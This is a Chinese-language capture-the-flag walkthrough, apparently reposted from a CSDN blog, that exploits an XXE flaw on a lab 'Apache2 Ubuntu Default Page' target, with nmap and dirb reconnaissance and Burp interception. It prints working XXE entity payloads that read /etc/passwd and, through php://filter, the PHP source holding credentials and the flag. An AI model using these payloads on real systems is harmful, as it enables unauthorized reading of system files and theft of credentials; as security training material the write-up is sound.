文章目录
前言
Apache2 Ubuntu Default Page 是一个包含xxe漏洞的页面,如何找到和利用xxe漏洞,并找到flag呢?
一、nmap扫描
首先进行信息收集,nmap是我们的常用工具
靶机地址10.40.2.116 ,可正常访问
在kali中扫描靶机开放端口等信息
可观察到只有80端口开放,没有利用价值
再用dirb扫描目标隐藏文件
dirb http://10.40.2.116 /usr/share/wordlists/dirb/big.txt -X .php,.txt
发现扫描到了目录下有一个robots.txt文件
登录查看
有信息
发现目录下还有文件
二、利用获取的信息
上面可看到有xxe文件和admin.php
查看一下
是一个登陆界面
/xxe/admin.php也是一个登陆界面
我们利用/xxe登录界面bp抓包看有没有发现
发现数据以post方式提交,并在最下方有xxe代码
发送到repeater提交试试
这里注意到ad有回显
那么如果将ad指向其他文件呢,很有可能此处有xxe漏洞
三、XXE漏洞利用
我们构造xxe语句将ad指向/etc/passwd文件,看是否有回显
<!DOCTYPE test[<!ENTITY ad SYSTEM "file:///etc/passwd">]>
可看到显示文件内容,说明存在xxe漏洞
那么继续查看首页文件
apache首页文件默认路径时/var/www/html/
<!DOCTYPE test[<!ENTITY ad SYSTEM "file:///var/www/html/xxe/index.php">]>
发现读取不了
可以改用php伪协议读取
<!DOCTYPE test[<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">]>
再通过decoder解密
得到首页文件但是里面内容没有可利用的
但是还有一个文件/xxe/admin.php我们没有查看
同样的方式查看一下
<!DOCTYPE test[<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/admin.php">]>
base64解密后得到关键信息
可以看到用户名和MD5加密的密码,以及flag
密码解密后为 admin@123
输入用户名密码
成功登录,但是点击flag,提示flag不在这儿
看看是否在xxe目录下
查看页面源代码获取到flag
总结
以上就是对该靶场的一个渗透过程,大致解题思路就是
1.nmap,dirb信息收集
2.bp抓包查询可利用漏洞
3.利用已知漏洞查看关键文件信息
4.简单的代码审计获取flag
希望对大家有帮助。
来源地址:https://blog.csdn.net/qq_61872115/article/details/125594734